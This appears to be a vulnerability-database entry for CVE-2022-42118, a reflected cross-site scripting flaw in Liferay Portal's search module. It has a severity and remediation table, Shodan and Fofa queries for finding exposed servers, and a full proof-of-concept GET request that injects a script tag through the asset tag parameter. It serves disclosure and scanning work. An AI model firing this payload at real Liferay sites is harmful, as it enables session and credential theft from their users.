| Title | Liferay Portal - Cross-site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript through the tag parameter in the Portal Search module to steal Liferay Portal user session cookies and credentials. |
| Remediation | Update to Liferay Portal 7.4.3+, DXP 7.1 fix pack 27+, DXP 7.2 fix pack 15+, or DXP 7.3 service pack 3+. |
| CVSS Score | 6.1 |
| EPSS Score | 0.08478 |
| CVE ID | CVE-2022-42118 |
| CWE ID | CWE-79 |
| Shodan Query | html:"var Liferay" |
| Fofa Query | body="var Liferay" |
| Tags | cve cve2022 liferay xss vuln |
A Cross-site scripting (XSS) vulnerability in the Portal Search module in Liferay Portal 7.1.0 through 7.4.2, and Liferay DXP 7.1 before fix pack 27, 7.2 before fix pack 15, and 7.3 before service pack 3 allows remote attackers to inject arbitrary web script or HTML via the tag parameter.
GET /web/guest/home?p_p_id=com_liferay_portal_search_web_portlet_SearchPortlet&p_p_lifecycle=0&_com_liferay_portal_search_web_portlet_SearchPortlet_keywords=test&_com_liferay_portal_search_web_portlet_SearchPortlet_scope=this-site&_com_liferay_portal_search_web_portlet_SearchPortlet_assetTagNames=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42118.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-42118.pcap
N/AN/A